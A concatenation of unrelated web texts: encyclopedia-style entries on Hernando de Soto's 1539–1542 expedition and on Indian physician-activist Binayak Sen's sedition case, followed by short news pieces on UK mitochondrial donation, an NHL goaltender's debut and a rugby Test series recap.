The first account of the expedition to be published was by the Gentleman of Elvas, an otherwise unidentified Portuguese knight who was a member of the expedition. His chronicle was first published in 1557. An English translation by Richard Hakluyt was published in 1609. [24]
Luys Hernández de Biedma, the King's factor (the agent responsible for the royal property) with the expedition, wrote a report which still exists. The report was filed in the royal archives in Spain in 1544. The manuscript was translated into English by Buckingham Smith and published in 1851. [25]
De Soto's secretary, Rodrigo Ranjel, kept a diary, which has been lost. It was apparently used by Gonzalo Fernández de Oviedo y Valdés in writing his La historia general y natural de las Indias . Oviedo died in 1557. The part of his work containing Ranjel's diary was not published until 1851. An English translation of Ranjel's report was first published in 1904.
. Oviedo died in 1557. The part of his work containing Ranjel's diary was not published until 1851. An English translation of Ranjel's report was first published in 1904. The fourth chronicle is by Garcilaso de la Vega, known as El Inca (the Inca). Garcilaso de la Vega did not participate in the expedition. He wrote his account, La Florida, known in English as The Florida of the Inca, decades after the expedition, based on interviews with some survivors of the expedition. The book was first published in 1605. Historians have identified problems with using La Florida as a historical account. Milanich and Hudson warn against relying on Garcilaso, noting serious problems with the sequence and location of towns and events in his narrative. They say, "some historians regard Garcilaso's La Florida to be more a work of literature than a work of history."[26] Lankford characterizes Garcilaso's La Florida as a collection of "legend narratives", derived from a much-retold oral tradition of the survivors of the expedition.[27]
Milanich and Hudson warn that older translations of the chronicles are often "relatively free translations in which the translators took considerable liberty with the Spanish and Portuguese text."[28]
The chronicles describe de Soto's trail in relation to Havana, from which they sailed; the Gulf of Mexico, which they skirted while traveling inland then turned back to later; the Atlantic Ocean, which they approached during their second year; high mountains, which they traversed immediately thereafter; and dozens of other geographic features along their way, such as large rivers and swamps, at recorded intervals. Given that the natural geography has not changed much since de Soto's time, scholars have analyzed those journals with modern topographic intelligence, to develop a more precise account of the De Soto Trail.[15][29]
1539: Florida [ edit ]
The Spanish caption reads:
"HERNANDO DE SOTO: Extremaduran, one of the discoverers and conquerors of Peru: he travelled across all of Florida and defeated its previously invincible natives, he died on his expedition in the year 1542 at the age of 42". Library of Congress ' engraving.The Spanish caption reads:"HERNANDO DE SOTO: Extremaduran, one of the discoverers and conquerors of Peru: he travelled across all of Florida and defeated its previously invincible natives, he died on his expedition in the year 1542 at the age of 42".
In May 1539, de Soto landed nine ships with over 620 men[30] and 220 horses in an area generally identified as south Tampa Bay. Historian Robert S. Weddle has suggested that he landed at either Charlotte Harbor or San Carlos Bay.[31] He named the land as Espíritu Santo after the Holy Spirit. The ships carried priests, craftsmen, engineers, farmers, and merchants; some with their families, some from Cuba, most from Europe and Africa. Few of the men had traveled before outside of Spain, or even away from their home villages.
Near de Soto's port, the party found Juan Ortiz, a Spaniard living with the Mocoso people. Ortiz had been captured by the Uzita while searching for the lost Narváez expedition; he later escaped to Mocoso. Ortiz had learned the Timucua language and served as an interpreter to de Soto as he traversed the Timucuan-speaking areas on his way to Apalachee.[32]
Ortiz developed a method for guiding the expedition and communicating with the various tribes, who spoke many dialects and languages. He recruited guides from each tribe along the route. A chain of communication was established whereby a guide who had lived in close proximity to another tribal area was able to pass his information and language on to a guide from a neighboring area. Because Ortiz refused to dress as an hidalgo Spaniard, other officers questioned his motives. De Soto remained loyal to Ortiz, allowing him the freedom to dress and live among his native friends. Another important guide was the seventeen-year-old boy Perico, or Pedro, from what is now Georgia. He spoke several of the local tribes' languages and could communicate with Ortiz. Perico was taken as a guide in 1540. The Spanish had also captured other Indians, whom they used as slave labor.[clarification needed] Perico was treated better due to his value to the Spaniards.
The expedition traveled north, exploring Florida's West Coast, and encountering native ambushes and conflicts along the way. De Soto's first winter encampment was at Anhaica, the capital of the Apalachee people. It is one of the few places on the route where archaeologists have found physical traces of the expedition. The chroniclers described this settlement as being near the "Bay of Horses". The bay was named for events of the 1527 Narváez expedition. Starving and struggling to escape the Florida peninsula, the decreasing number of survivors killed and ate their horses while building boats for escape by the Gulf of Mexico.
1540: The Southeast [ edit ]
From their winter location in the western panhandle of Florida, having heard of gold being mined "toward the sun's rising", the expedition turned northeast through what is now the modern state of Georgia.[33][34] Based on archaeological finds made in 2009 at a remote, privately owned site near the Ocmulgee River, researchers believe that de Soto's expedition stopped in Telfair County. Artifacts found here include nine glass trade beads, some of which bear a chevron pattern made in Venice for a limited period of time and believed to be indicative of the de Soto expedition. Six metal objects were also found, including a silver pendant and some iron tools. The rarest items were found within what researchers believe was a large council house of the indigenous people whom de Soto was visiting.[35][36]
The expedition continued to present-day South Carolina. There the expedition recorded being received by a female chief (Cofitachequi), who gave her tribe's pearls, food and other goods to the Spanish soldiers. The expedition found no gold, however, other than pieces from an earlier coastal expedition (presumably that of Lucas Vázquez de Ayllón.)
De Soto headed north into the Appalachian Mountains of present-day western North Carolina, where he spent a month resting the horses while his men searched for gold. De Soto next entered eastern Tennessee. At this point, De Soto either continued along the Tennessee River to enter Alabama from the north (according to John R. Swanton), or turned south and entered northern Georgia (according to Charles M. Hudson). The route that Swanton proposed in 1939 is still generally accepted by most archaeologists and by the U.S. government as the route of the de Soto expedition.[citation needed].
De Soto's expedition spent another month in the Coosa chiefdom, believed to have been connected to the large and complex Mississippian culture, which extended throughout the Mississippi Valley and its tributaries. He turned south toward the Gulf of Mexico to meet two ships bearing fresh supplies from Havana. Along the way, de Soto was led into Mauvila (or Mabila), a fortified city in southern Alabama.[37] The Mobilian tribe, under chief Tuskaloosa, ambushed de Soto's army.[37] Other sources suggest de Soto's men were attacked after attempting to force their way into a cabin occupied by Tuskaloosa.[38] The Spaniards fought their way out, and retaliated by burning the town to the ground. During the nine-hour encounter, about 200 Spaniards died, and 150 more were badly wounded, according to the chronicler Elvas.[39] Twenty more died during the next few weeks. They killed an estimated 2,000-6,000 warriors at Mabila, making the battle one of the bloodiest in recorded North American history.[40]
The Spaniards won a Pyrrhic victory, as they had lost most of their possessions and nearly one-quarter of their horses. The Spaniards were wounded and sickened, surrounded by enemies and without equipment in an unknown territory.[38] Fearing that word of this would reach Spain if his men reached the ships at Mobile Bay, de Soto led them away from the Gulf Coast. He moved into inland Mississippi, most likely near present-day Tupelo, where they spent the winter.
1541: Westward [ edit ]
In the spring of 1541, de Soto demanded 200 men as porters from the Chickasaw.[citation needed] They refused his demand and attacked the Spanish camp during the night. The Spaniards lost about 40 men and the remainder of their limited equipment. According to participating chroniclers, the expedition could have been destroyed at this point, but the Chickasaw let them go.[citation needed]
On May 8, 1541, de Soto's troops reached the Mississippi River.[5]
De Soto had little interest in the river, which in his view was an obstacle to his mission. There has been considerable research into the exact location where de Soto crossed the Mississippi River. A commission appointed by Franklin D. Roosevelt in 1935 determined that Sunflower Landing, Mississippi, was the "most likely" crossing place. De Soto and his men spent a month building flatboats, and crossed the river at night to avoid the Native Americans who were patrolling the river. De Soto had hostile relations with the native people in this area.[41][42]
In the late 20th century, research suggests other locations may have been the site of de Soto's crossing, including three locations in Mississippi: Commerce, Friars Point, and Walls, as well as Memphis, Tennessee.[43] Once across the river, the expedition continued traveling westward through modern-day Arkansas, Oklahoma, and Texas. They wintered in Autiamique, on the Arkansas River.[citation needed]
After a harsh winter, the Spanish expedition decamped and moved on more erratically. Their interpreter Juan Ortiz had died, making it more difficult for them to get directions and food sources, and generally to communicate with the Natives. The expedition went as far inland as the Caddo River, where they clashed with a Native American tribe called the Tula in October 1541.[44] The Spaniards characterized them as the most skilled and dangerous warriors they had encountered.[45] This may have happened in the area of present-day Caddo Gap, Arkansas (a monument to the de Soto expedition was erected in that community). Eventually, the Spaniards returned to the Mississippi River.
Death [ edit ]
Burial of de Soto
De Soto died of a fever on May 21, 1542, in the native village of Guachoya (historical sources disagree as to whether de Soto died near present-day McArthur, Arkansas, or in Louisiana)[46] on the western bank of the Mississippi.[47] Louisiana erected a historical marker at the estimated site.
Before his death, de Soto chose Luis de Moscoso Alvarado, his former maestro de campo (or field commander), to assume command of the expedition.[48] At the time of death, de Soto owned four Indian slaves, three horses, and 700 hogs.[49]
De Soto had encouraged the local natives to believe that he was a deity, specifically an "immortal Son of the Sun"[50] (as a ploy to gain their submission without conflict). Some of the natives had already become skeptical of de Soto's deity claims. But his men were anxious to conceal his death. The actual site of his burial is not known. According to one source, de Soto's men hid his corpse in blankets weighted with sand and sank it in the middle of the Mississippi River during the night.[46]
Return of the expedition to Mexico City [ edit ]
De Soto's expedition had explored La Florida for three years without finding the expected treasures or a hospitable site for colonization. They had lost nearly half their men, and most of the horses. By this time, the soldiers were wearing animal skins for clothing. Many were injured and in poor health. The leaders came to a consensus (although not total) to end the expedition and try to find a way home, either down the Mississippi River, or overland across Texas to the Spanish colony of Mexico City.
They decided that building boats would be too difficult and time-consuming, and that navigating the Gulf of Mexico was too risky, so they headed overland to the southwest. Eventually they reached a region in present-day Texas that was dry. The native populations were made up mostly of subsistence hunter-gatherers. The soldiers found no villages to raid for food, and the army was still too large to live off the land. They were forced to backtrack to the more developed agricultural regions along the Mississippi, where they began building seven bergantines, or pinnaces.[48] They melted down all the iron, including horse tackle and slave shackles, to make nails for the boats. They survived through the winter, and the spring floods delayed them another two months. By July they set off on their makeshift boats down the Mississippi for the coast.
Taking about two weeks to make the journey, the expedition encountered hostile fleets of war canoes along the whole course. The first was led by the powerful paramount chief Quigualtam, whose fleet followed the boats, shooting arrows at the soldiers for days on end as they drifted through their territory. The Spanish had no effective offensive weapons on the water, as their crossbows had long ceased working. They relied on armor and sleeping mats to block the arrows. About 11 Spaniards were killed along this stretch and many more wounded.
On reaching the mouth of the Mississippi, they stayed close to the Gulf shore heading south and west. After about 50 days, they made it to the Pánuco River and the Spanish frontier town of Pánuco. There they rested for about a month. During this time many of the Spaniards, having safely returned and reflecting on their accomplishments, decided they had left La Florida too soon. There were some fights within the company, leading to some deaths. But, after they reached Mexico City and Viceroy Don Antonio de Mendoza offered to lead another expedition to La Florida, few of the survivors volunteered. Of the recorded 700 participants at the start, between 300 and 350 survived (311 is a commonly accepted figure). Most of the men stayed in the New World, settling in Mexico, Peru, Cuba, and other Spanish colonies.
Effects of expedition in North America [ edit ]
The Spanish believed that de Soto's excursion to Florida was a failure. They acquired neither gold nor prosperity and founded no colonies. But the expedition had several major consequences.
It contributed to the process of the Columbian Exchange. For instance, some of the swine brought by de Soto escaped and became the ancestors of feral razorback pigs in the southeastern United States.[51][52][53][54][55]
De Soto was instrumental in contributing to the development of a hostile relationship between many Native American tribes and Europeans. When his expedition encountered hostile natives in the new lands, more often than not it was his men who instigated the clashes.[56]
More devastating than the battles were the chronic diseases carried by the members of the expedition. Because the indigenous people lacked the immunity which the Europeans had acquired through generations of exposure to these Eurasian diseases, the Native Americans suffered epidemics of illness after exposure to such diseases as measles, smallpox, and chicken pox. Several areas traversed by the expedition became depopulated by disease caused by contact with the Europeans. Seeing the high fatalities and devastation caused, many natives fled the populated areas for the surrounding hills and swamps. In some areas, the social structure changed because of high population losses due to epidemics.[57]
The records of the expedition contributed greatly to European knowledge about the geography, biology, and ethnology of the New World. The de Soto expedition's descriptions of North American natives are the earliest-known source of information about the societies in the Southeast. They are the only European description of the culture and habits of North American native tribes before these peoples encountered other Europeans. De Soto's men were both the first and nearly the last Europeans to witness the villages and civilization of the Mississippian culture.
De Soto's expedition led the Spanish crown to reconsider Spain's attitude toward the colonies north of Mexico. He claimed large parts of North America for Spain. The Spanish concentrated their missions in the state of Florida and along the Pacific coast.
Namesakes [ edit ]
DeSoto Deluxe automobile insignia from early 1950s
Many parks, towns, counties, and institutions have been named after Hernando de Soto, to include:
Places [ edit ]
Other [ edit ]
See also [ edit ]
References [ edit ] |
Binayak Sen (Hindi: बिनायक सेन, Bengali: বিনায়ক সেন) is an Indian paediatrician, public health specialist[2] and activist. He is the national Vice-President of the People's Union for Civil Liberties (PUCL).[3] He is the recipient of several awards including the Jonathan Mann Award, the Gwangju Prize for Human Rights, and the Gandhi International Peace Award. He has been convicted for sedition by a local Court in India which was later upheld by the High Court of Chhattisgarh. He was subsequently granted bail by the Supreme Court of India on appeal. He is a member of the policy group for Police Reforms of Aam Aadmi Party.[4]
Binayak Sen originally started working as a paediatrician extending health care to poor people in the rural-tribal areas of the Chhattisgarh state, doubling up as a human rights activist. While Sen has worked with the state government on health sector reform[5] he has also strongly criticised the government on human rights violations during the anti-Naxalite operations, while advocating non-violent political engagement.[6]
In May 2007, he was detained for allegedly supporting the outlawed Naxalites which would violate the provisions of the Chhattisgarh Special Public Security Act 2005 (CSPSA) and the Unlawful Activities (Prevention) Act 1967.[7][8] Sen first applied for bail before the Raipur Sessions Court and then the Chhattisgarh High Court in July 2007, soon after his arrest,[9] but was granted bail by the Supreme Court of India on 25 May 2009.[10]
In 2010 was convicted and sentenced to life imprisonment by Raipur Sessions Court, Chhattisgarh for sedition and helping Naxalites to set up a network to fight the State.[11] He was granted bail on 15 April 2011 by the Supreme Court of India which gave no reason for the order.[12] Sen has filed an appeal before the Chhattisgarh High Court and the case is pending.[13]
Career as a doctor [ edit ]
Binayak Sen and his wife Illina Sen played key roles in the foundation of the Chhattisgarh Mukti Morcha's Shaheed Hospital which is owned and operated by a workers' organisation.[14][15] He is also an advisor to Jan Swasthya Sahyog, a health care organisation.[16] He has also been published in the prestigious British medical journal The Lancet (in its edition of 12 February 2011) where he talks about the severe inaccessibility of the healthcare to the poor in India. The article was hailed as reaffirmation of support to Dr Sen by the international community by Ilina Sen.[14][17]
PUCL activist [ edit ]
Sen is the National Vice-President of the People's Union for Civil Liberties (PUCL) and General Secretary of its Chhattisgarh unit. In this capacity, he helped organise numerous investigations into alleged human rights violations carried out during anti-Naxalite operations. The alleged violations included the murder of unarmed and innocent civilians by the anti-Naxalite movement Salwa Judum.
In a 2008 interview, Sen stated that he does not condone the Naxalites, does not approve of their violent methods, and has spoken strongly against them several times. But, he also expressed his opposition to the violent activities carried out by Salwa Judum, which he believes, have created a split in the tribal community.[6] Sen advocates peaceful methods such as negotiations to solve the Naxalite problem.[18]
Awards and honours [ edit ]
Sen was the recipient in 2004 of the Paul Harrison award for a lifetime of service to the rural poor. This award is given annually by the Christian Medical College in Vellore, India to its alumni.[19]
Sen was awarded the R.R. Keithan Gold Medal by The Indian Academy of Social Sciences (ISSA) on 31 December 2007. The citation describes him as "one of the most eminent scientists" of India. "The award is for his outstanding contribution to the advancement of science of Nature-Man-Society and his honest and sincere application for the improvement of quality of life of the poor, the downtrodden and the oppressed people of Chhattisgarh." His "suffering and personal risk" would inspire scientists as well as the general public for a very long time, according to the citation.[20]
Sen was selected for the Jonathan Mann Award for Global Health and Human Rights in 2008.[21][22] The Global Health Council issued a public statement, "Dr. Sen's accomplishments speak volumes about what can be achieved in very poor areas when health practitioners are also committed community leaders. He staffed a hospital created by and funded by impoverished mine workers, and he has spent his lifetime educating people about health practices and civil liberties—providing information that has saved lives and improved conditions for thousands of people. His good works need to be recognized as a major contribution to India and to global health; they are certainly not a threat to state security."[23]
Sen has been awarded the Gwangju Prize for Human Rights 2011[24] in memory of the Gwangju Democratization Movement of South Korea. The award announcement remarks "Dr Sen, as an accomplished medical practitioner has distinguished himself by his devotion to providing health services for the poor and by his strong advocacy against human rights violations and structural violence inflicted on the poor in Chhattisgarh, a state in central India."
Arrest in 2007 [ edit ]
On 14 May 2007, Sen was arrested in Bilaspur on the charges of acting as a courier between jailed Naxalite leader Narayan Sanyal (politician) and businessman Piyush Guha, also accused of having links with Naxalites.[25] Sen had met the 70-year-old Sanyal 33 times in Raipur jail, though all the visits were with prior police permission.[26] The Chhattisgarh police also reportedly relied on certain electronic documents to establish a link between Sen and Naxalites.[27]
The evidence presented against Sen included:[28]
A post card dated 3 June 2006, written by Narayan Sanyal to Binayak Sen from Raipur Central Jail, regarding his health and legal case, duly signed by the Jail authorities
A yellow coloured book "On The Unity Between CPI (Peoples' War) and Maoist Communist Centre".
A letter written by Madanlal Banjare of CPI (Maoist) to Binayak Sen.
An article titled "Krantikari Janwadi Morcha (ITF) (Revolutionary People's Front) Vaishvikaran evam Bharatiya Seva Kshetra; (Globalization and the Service Sector in India)
Two articles titled "Naxal Movement, Tribals and Women's Movement" and "How to build an Anti-US Imperialist Front."
The Central Forensic Science Laboratory (CFSL), Hyderabad analysed the contents of Sen's computer during 6–11 June 2007, under the orders of the Session's Court.
On 15 May 2007, Sen was presented before a local court where he was denied the bail and was remanded to judicial custody. On 18 May, he was produced in the Sessions Court, Raipur. The Court ordered a search of Sen's house at Katora Talab in Raipur in presence of independent witnesses and his wife, Ilina Sen. The search was conducted lawfully the next day.[25] His bail plea was again rejected on 25 May, as the Chhattisgarh Police claimed that he was a threat to the security of the State.[25]
Protests [ edit ]
Various delegations of physicians and human rights activists meet chief secretary and law secretary to appeal for Sen's release.[25] The people who were against the bail to Binayak Sen claimed that the protestors were not well versed with the workings of Binayak Sen or the Naxalite-Maoist insurgency.
On 7 June 2007, Sen's wife Ilina Sen wrote a letter to the National Human Rights Commission, stating that the couple's work "has always been in the public sphere and completely overboard [above board] for the last 20 years and more."[29] It protests "the malafide intent of the state of Chhattisgarh in first identifying its victims, and then seeking to build up concocted cases against them." The submission apprehends a campaign of "media vilification" against Ilina Sen.
Amnesty International, which saw the arrest as harassment of a human rights activist, declared his detention in breach of international law. It issued a call to the Government of Chhattisgarh to immediately release Sen, unless he could be charged with a cognisable offence.[30]
On 7 June 2007, the British House of Commons published an Early day motion entitled "Arrest of Dr. Binayak Sen" supported by several members of parliament across party lines, including Diane Abbott (Labour), Peter Bottomley (Conservative), John Hemming (Liberal Democrat), Dai Davies (Independent, Wales), Mike Weir (Scottish NP), among others.[31]
On 9 June 2007, the British Medical Journal published an article about Sen's arrest. It states that Ramesh Gopalakrishnan, of Amnesty International, offered the following comment to BMJ about the supposed charges: "These offences allow sweeping interpretations of criminal intent. Activists in India are arrested all the time on such charges, which give wide, arbitrary powers to police." The same BMJ article reports a protest, outside the Indian High Commission in London, whose organiser is quoted as saying, "Dr Sen is a champion of peace and fair play and an internationally respected medical doctor who has devoted his whole life to peaceful service of the poorest people. He should be released immediately."[32]
Noam Chomsky and several other prominent figures issued a press statement dated 16 June 2007 alleging that "Dr Sen's arrest is clearly an attempt to intimidate PUCL and other democratic voices that have been speaking out against human rights violations in the state."[33]
On 20 June 2007 a delegation from the PUCL met the Chief Minister (CM) of Chhattisgarh state, and objected to Sen being accused of supporting the Naxalites. The delegation insisted that Sen's visits to the jailed Naxalite Narayan Sanyal were for the latter's "medical treatment" and also regarding his legal case. They pointed out that these visits took place in the Raipur jail, following procedures laid down in the jail manual."[34] The PUCL delegation also raised objections about the analysis of Sen's computer in the absence of Sen's advocate and the independent court-appointed witness which they said could have offered the chance to tamper with evidence.[34] The court had ordered on 22 May 2007 that both these observers should be present during the examination of Sen's computer. Nobel laurate economist and thinker Amartya Sen also criticised the Dec 2010 verdict for Sen's imprisonment. He stated that instead of getting his due honour for his service, Sen had met with an unfortunate verdict.[35]
Rejection of Bail [ edit ]
High Court [ edit ]
In July 2007, Sen's bail was rejected by the Chhattisgarh High Court after Police claimed that they had got incriminating evidences against Binayk Sen from his hard disc belonging to him.[25]
Supreme Court [ edit ]
In August 2007, a bench of Justices Ashok Bhan and V. S. Sirpurkar at the Supreme Court of India sought a response from the Chhattisgarh government after senior counsel Soli Sorabjee claimed that Sen was illegally detained since 14 May on fabricated charges of supporting Naxalites.[36] The report stated that the Director General of Police in Chhattisgarh had conceded Sen's peaceful approach however the DGP rejected the suggestion that Sen had been arrested for criticising crimes such as extra-judicial killings in staged "fake encounters". The DGP has stated his belief that "Dalits movements, women empowerment movements, human rights movements, environment protection movements" are all suspect because Naxalites want to penetrate and hijack "movements not linked with CPI."
In December 2007, Supreme Court dismissed Sen's bail petition.[25] The bench comprising Justices Ashok Bhan and D K Jain refused to accept Sen's plea stating that he was only an activist of People's Union for Civil Liberties (PUCL) and was in no way connected with the banned outfit CPI(ML). Bench while rejecting his arguments observed: "You are emphasising too much on PUCL. This does not mean that you are immune. This also does not mean your are not associated with banned activities."'[37][38]
Confinement [ edit ]
Sen was kept in solitary confinement during the period from 15 March to 11 April 2008. The prison authorities stated that this was for his security.[25][39] Sen's wife Ilina stated that he has been isolated from the world during his year of imprisonment, with access to only pro-government newspaper.
On 29 April 2008, Human Rights Watch in New York issued a public statement regarding the trial of Sen due to begin in Raipur on 30 April 2008: "the district court's limit of one supporter of the defendant at the trial is unnecessarily restrictive and raises broader concerns about the fairness of the trial."[40]
The Global Health Council, Harvard School of Public Health, Harvard Medical School and several other prominent global health organisations issued a joint statement of support for Sen, requesting that Indian authorities allow the doctor to receive the Jonathan Mann Award for Health and Human Rights in person in Washington, D.C. on 29 May 2008, at the 35th Annual International Conference on Global Health.[21] The declaration stated: "We would also like to convey our concern and dismay that Dr. Sen remains imprisoned, after nearly one year without trial, on allegations that he passed notes from a rebel leader whom he treated in jail to a person outside the prison. Dr. Sen has denied all wrongdoing and nothing in his character or history, as a dedicated community leader who has urged a peaceful settlement to this conflict for years, would support the accusations made against him. These allegations have not been substantiated or proven and have prevented Dr. Sen from providing his much-needed health services to the poor in his area, as well as his community leadership activities as an officer of the People's Union for Civil Liberties."[41]
Twenty-two Nobel laureates from around the world wrote to India's President and Prime Minister and Chhattisgarh state authorities. They said Sen should be allowed to travel to the US to receive the Jonathan Mann Award for Global Health and Human Rights. "We also wish to express grave concern that Dr Sen appears to be incarcerated solely for peacefully exercising his fundamental human rights," the letter said. This is "in contravention of Articles 19 (freedom of opinion and expression) and 22 (freedom of association) of the International Covenant on Civil and Political Rights – to which India is a state party – and that he is charged under two internal security laws that do not comport with international human rights standards," it added.[42][43]
Doctors across India started holding free clinics for the poor in tribute to the example of Sen and to peacefully campaign for his release.[44]
The Government of India led by the Indian National Congress which is the opposition party in the state of Chhattisgarh reacted strongly to international appeals for the release of Dr Binayak Sen. The Government feels that the issue around Dr Binayak Sen is a well orchestrated campaign and just because he is selected for a western award, does not make him less guilty in their view. The Ministry of Home Affairs (MHA) said that the State Government is right in opposing Dr Sen's appeal.[26]
Trial [ edit ]
On 3 August 2007, Chhattisgarh Police filed charge-sheets under the Chhattisgarh Special Public Security Act 2005 (CSPSA) and the Unlawful Activities (Prevention) Act 1967 in the court of Additional Chief Judicial Magistrate Satyabhama Dubey against Sen.[25] The trial against Binayak Sen began in the trial court in Raipur on 30 May 2008.[25] On 4 May 2008, Supreme Court issued notice to Chhattisgarh government on Sen's bail plea. It asked the state government to provide "best medical aid" to Sen, who is suffering from a heart ailment.[25]
On 11 August 2008, a second bail petition was filed in the Chhattisgarh High Court in Bilaspur.[25] On 21 October, Sen made a public appeal and proposal for peace in South Bastar.[45]
Grant of bail by the Supreme Court [ edit ]
Sen was granted bail on 25 May 2009 by a vacation bench of the Supreme Court comprising Justice Markandey Katju and Justice Deepak Verma as his health conditions were deteriorating.[46]
Conviction, sentencing and bail [ edit ]
On 24 December 2010, the Additional Sessions and District Court Judge B.P Varma Raipur found Binayak Sen, Naxal ideologue Narayan Sanyal and Kolkata businessman Piyush Guha, guilty of sedition for helping the Maoists in their fight against the state. They were sentenced to life imprisonment.[47] Immediately after the sentencing, Dr. Sen's bail was revoked and he was taken back into custody.[48]
Binayak Sen was held guilty under Chhattisgarh Special Public Security Act 2005, Unlawful Activities (Prevention) Act 1967, of being a conduit between Naxals and of meeting Narayan Sanyal in jail. The trio has also been convicted under provisions of section 124A of Indian Penal Code (IPC) (sedition) and 120-B Indian Penal Code (conspiracy).[49]
Binayak Sen's sentence has been condemned both in India[50][51][52] and internationally.[53][54] Nobel Laureate Amartya Sen has condemned the judgement as "unjust".[55]
Against this judgement, Binayak again applied for bail on 6 January 2011. An eight-member delegation of the European Union were present at the court during the entire hearing. On 25 January 2011, the Chhattisgarh High Court heard his bail plea for the second consecutive day and then fixed 9 February for the next hearing. The court denied bail to him during the subsequent hearing.[56][57]
Dr. Sen had moved the apex court challenging the order of the Chhattisgarh High Court which had rejected his bail plea on 10 February 2011.[58] Dr. Sen has sought bail contending that the trial court has erred in convicting him as there was no substantial evidence against him. Human rights and social activists have described Dr. Sen's conviction and sentence as "politically motivated."[59]
The Supreme Court on 11 March 2011 issued notice to the Chhattisgarh government on a petition by rights activist Binayak Sen seeking bail and stay on his life imprisonment imposed by a sessions court for his links with Maoists. A bench of justices H.S. Bedi and C.K. Prasad asked the Chhattisgarh government to file its response within four weeks. The bench passed the order despite counsel for Dr. Sen seeking adjournment of the matter.[60] On 15 April 2011, the Supreme Court of India has granted bail to Dr. Binayak Sen, after questioning the sedition charge against him[11][61][62] and adding that "the question of passing letters or documents does not arise."[63] However the apex court said it was giving no reason for granting bail to 61-year-old Sen and left it to the satisfaction of the trial court concerned to impose the conditions for his release on bail.[64][65]
Media reports said that no evidence of sedition had been produced against the accused by the Chhattisgarh Government.[66] According to The Hindu, one of the two judges told the senior state counsel ""We are a democratic country. He may be a sympathiser. That does not make him guilty of sedition." Drawing an analogy, he asked Mr. Lalit: “if Mahatma Gandhi's autobiography is found in somebody's place, is he a Gandhian? No case of sedition is made out on the basis of materials in possession unless you show that he was actively helping or harbouring them [Maoists].""[67]
The case has generated interests of Indian and foreign NGOs[68][69][70][71] and governments.[72][73][74][75][76][77]
See also [ edit ]
Publications [ edit ]
Minnie Vaid (2011) A Doctor to Defend: The Binayak Sen Story. Publisher: Rajpal PP: 243, ISBN 9788170289272
Publisher: Rajpal PP: 243, ISBN 9788170289272 Ilina Sen, Inside Chhattisgarh: A Political Memoir. Penguin Books India, 2014. ISBN 978-0-143-41404-9. (Ilina Sen is the spouse of Binayak Sen) |
The Government has been accused of misleading the public over the introduction of a new in vitro fertilisation (IVF) technique that some experts believe will result in the birth of “genetically modified babies”.
Leading scientists, including Lord Winston, an early pioneer of fertility treatment, have criticised the Department of Health for trying to play down a process that will for the first time allow the alteration of the DNA of future generations.
They argue that the Government has redefined the term “genetic modification” (GM) to exclude specifically a controversial technique that will result in babies inheriting genetic material from three individuals.
We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.
The move, buried within a Department of Health document published last week, is designed to take the sting out of hostility towards mitochondrial donation – a process that aims to avoid the certain inherited diseases being passed on by using healthy mitochondria (microscopic structures in the cell) taken from a donor egg or embryo. Opponents believe that using the healthy donor mitochondria will result in “three-parent embryos” and could usher in an era of “designer babies” and “genetically modified children”.
The Government admits it has decided to adopt “a working definition [of ‘GM’] for the purpose of taking forward these regulations” but scientists believe that the redefinition of GM is dishonest. They also warn it could undermine public trust in medical experts arguing for its introduction in the UK, the only country where it will be permitted in law if legislation is passed.
Lord Winston told The Independent: “The Government seems to have come to the right decision but used bizarre justification. Of course mitochondrial transfer is genetic modification and this modification is handed down the generations. It is totally wrong to compare it with a blood transfusion or a transplant and an honest statement might be more sensible and encourage public trust.”
Ted Morrow, an evolutionary biologist at the University of Sussex, was equally scathing about the new definition of GM, which specifically excludes alterations to human mitochondrial genes or any other genetic material that exists outside the chromosomes in the nucleus of the cell.
“My impression is the Government is doing all it can to contain and define these kinds of terms in ways that favour mitochondrial replacement being introduced as an uncontroversial therapy,” Dr Morrow said.
“They push the idea that mitochondrial DNA does nothing more than regenerate more mitochondria, which are nothing more than cellular batteries, and that mitochondrial genes don’t encode traits relevant to personal identity and so on,” he added.
David King, from the pressure group Human Genetics Alert, said the Government is “playing PR games based on very dubious science” because any changes to the mitochondrial genes will amount to genetic modification. “Their restriction of the term to nuclear inheritable changes is clearly political. They don’t want people like me saying that they are legalising GM babies,” Dr King said.
Mitochondria are the tiny “power-packs” of the cells that generate metabolic energy from glucose. They are under the control of 37 mitochondrial genes which exist as a separate DNA molecule outside the nucleus of the cell.
About one in every 6,500 babies born each year is affected by inherited defects in the genes of the mitochondria. Serious mitochondrial diseases are painfully debilitating and cause long-term ill health, low quality of life and premature death. The Government is under pressure to allow mitochondrial donation as part of IVF treatment to give affected women the opportunity of having biological children who will be free of the condition.
The technique involves taking the healthy mitochondria of a donor egg or embryo and using them to replace the defective mitochondria. The resulting embryo will have genetic material from the two women in addition to the nuclear DNA from a man. Although mitochondrial DNA accounts for less than 0.2 per cent of the genome, the technique is controversial because it will alter the genetic make-up of future generations.
The Health Department accepts the germ-line of future generations will be altered, but it insists, in its official response to the public consultation published last week, that this does not amount to genetic modification. “There is no universally agreed definition of ‘genetic modification’ in humans – people who have organ transplants, blood donations or even gene therapy are not generally regarded as being ‘genetically modified’,” the response says.
“The Government has decided to adopt a working definition for the purpose of taking forward these regulations.”
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NEWARK, NJ – The Albany Devils influence continues on the national level. On Sunday, goaltender Scott Wedgewood made his NHL debut and earned his first victory, making 27 saves in a 2-1 win against Columbus.
After backstopping Albany to a 5-1 win at Utica Saturday, Wedgewood was informed about his recall on the bus ride back New York’s Capital. The following day, his boyhood dream came true.
“For a long time I had replayed this in my head,” Wedgewood said after being names the game’s first star. “I felt like it was just another hockey game, when it comes down to it. I felt I belonged here. Those things helped me step in and stay calm.”
Defenseman Vojtech Mozik also made his NHL debut during the game. The 23-year-old, who the Devils signed as a free agent during the offseason, logged 10:29 of ice time.
“It was really great,” Mozik said. “It’s an unbelievable feeling. I’m just happy we won, so it’s a great feeling.”
This season, 11 players have played for both New Jersey and Albany. |
The thrilling Summer international Test series has concluded and what a ride it’s been! Undoubtedly the biggest matches were in Australia, New Zealand, and South Africa. Check out this smooth mashup that perfectly highlights the drama and emotion of the third and final weekend, from what was a brilliant round of Test rugby.
As you already know, history was made in perhaps the most compelling of the three when England – for the first time ever in Australia – won the series and completed the whitewash.
All three matches were played on a knife’s edge and perhaps could’ve gone differently but there’s no arguing who the better team is on current form.
Elsewhere, there will be some serious heartbreak and perhaps sober reflection on a series that could’ve been well in hand. Ireland comes to mind as they played their hearts out, but fell short to the Springboks in suspenseful fashion.
As with the Wallabies, coach Warren Gatland and Wales found themselves on the short end of a 3-0 series sweep, which also included a loss to an under-strength Chiefs squad.
